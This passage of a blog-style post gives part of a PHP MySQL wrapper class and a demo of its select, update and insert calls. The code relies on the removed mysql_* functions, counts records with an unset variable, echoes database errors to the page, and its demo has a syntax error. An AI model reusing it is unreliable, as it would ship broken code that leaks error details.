        //$this->query_result = mysql_fetch_array($result);
        /*
        $i=0;
        foreach (mysql_fetch_assoc($result) as $row)
        {
            $this->query_result[$i] = $row;
            //array_push($this->query_result, $row);
            $i++;
        }
        */

       
        $this->script_log .= "Array fetched \n";
       
        if ($i > 0) {
            $this->records_number = mysql_num_rows($result) or die($this->mysql_error_report());
            $this->script_log .= "Records Number setted to:" .$this->records_number . "\n";
        } else {
            $this->records_number = 0 ;
            $this->script_log .= "Records Number setted to:" .$this->records_number . "\n";
        }
       
        mysql_free_result($result);
       
        return $this->query_result;
    }
   
    function CloseLink() {
        if ($this->mysql_link_status == true) {
            mysql_close($this->mysql_link) or die($this->mysql_error_report());
            $this->script_log .= "Mysql Link Closed\n";
            $this->mysql_link_status = false;
        } else {
            $this->script_log .= "Cannot close MySQL Link, the link dead\n";
        }
    }
   
   
   
    // SETTERS & GETTERS
   
    function getScriptLog() {
        return $this->script_log;
    }
   
    function getLastResult() {
        return $this->query_result;
    }
   
    function getLastRecordsNumber() {
        return $this->records_number;
    }
   
    function getDB() {
        return $this->mysql_database;
    }
   
    function setDB($database) {
        $this->mysql_database = $database;
        $this->script_log .= "New DB Setted: " . $this->mysql_database . "\n";
    }
   
    // PRIVATE FUNCTIONS
    function Connect() {
        $this->mysql_link = mysql_connect($this->mysql_host,
                                            $this->mysql_username,
                                            $this->mysql_password, 0, 65536) or die($this->mysql_error_report());
        $this->script_log .= "Conncted\n";
       
        mysql_select_db($this->mysql_database) or die($this->mysql_error_report());
        $this->script_log .= "Selected db: " . $this->mysql_database . "\n";
        $this->mysql_link_status=true;
    }
   
    function CheckConnection() {
        if ($this->mysql_link == NULL || $this->mysql_link_status == false) {
            $this->Connect();
        }  
        mysql_query("set character set 'utf8'");
    }

    function mysql_error_report() {
        echo mysql_error();
    }
   
       
}
?>

Demo of use:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?
require_once('./mysql.class.php');
var $inst;
$inst = new MySQL();
$inst->Connect();

$arr = $inst->SelectQuery('links',Array('url','name'),
                            Array('http://www.garry-lachman.com','Garry Lachman'),
                            Array(' AND '));
                           
$arr = $inst->SelectQuery('links');
echo "<b>Record:" . $arr[0]['name'] . "</b><br/>";
echo "<b>Num Records:" . $inst->getLastRecordsNumber(). "</b>";

$inst->UpdateQuery('links',Array('name'),Array('garry'),Array('id'),Array(555));
$inst->InsertQuery('links',Array('name','url'),Array('dfrfjfd','http://ajavdcvc'));

$inst->CloseLink();

echo '<h2>Script Log:</h2>';
?>

Have a fun ;)
Garry Lachman

Share